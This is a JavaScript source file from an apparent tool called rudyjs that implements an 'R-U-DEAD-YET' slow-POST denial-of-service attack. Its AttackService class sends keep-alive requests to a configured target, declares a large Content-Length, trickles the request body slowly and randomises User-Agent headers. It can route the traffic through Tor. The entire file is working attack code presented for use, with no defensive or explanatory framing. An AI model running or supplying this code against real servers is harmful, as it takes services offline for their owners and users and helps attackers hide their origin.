rudyjs
Version:
R-U-DEAD-YET ?
38 lines (37 loc) • 1.58 kB
JavaScript
;
Object.defineProperty(exports, "__esModule", { value: true });
const logger_1 = require("../utils/logger");
const network_service_1 = require("./network.service");
const stream_service_1 = require("./stream.service");
const userAgent = require("random-useragent");
class AttackService {
constructor(config) {
this.serviceName = "Attack_Service";
this.config = config;
this.streamService = new stream_service_1.default({ delay: this.config.delay });
}
attack() {
const self = this;
network_service_1.default.request({ url: this.config.target, method: this.config.method, headers: this.getHeaders(),
data: this.streamService.getRandomReadStream(), shouldUseTor: this.config.shouldUseTor })
.then((resPayload) => {
logger_1.default.info({ message: "Request Succeeded. RUDY attack failed attackId : " + self.config.attackId,
category: this.serviceName, data: resPayload });
self.streamService.endStream();
})
.catch((err) => {
logger_1.default.error({ message: err.code + " :: Error Occured attackId : " + self.config.attackId,
category: self.serviceName, data: err });
self.streamService.endStream();
});
}
getHeaders() {
const headers = {
"Connection": "keep-alive",
"Content-Length": this.config.packet_len.toString(),
"User-Agent": userAgent.getRandom(),
};
return headers;
}
}
exports.default = AttackService;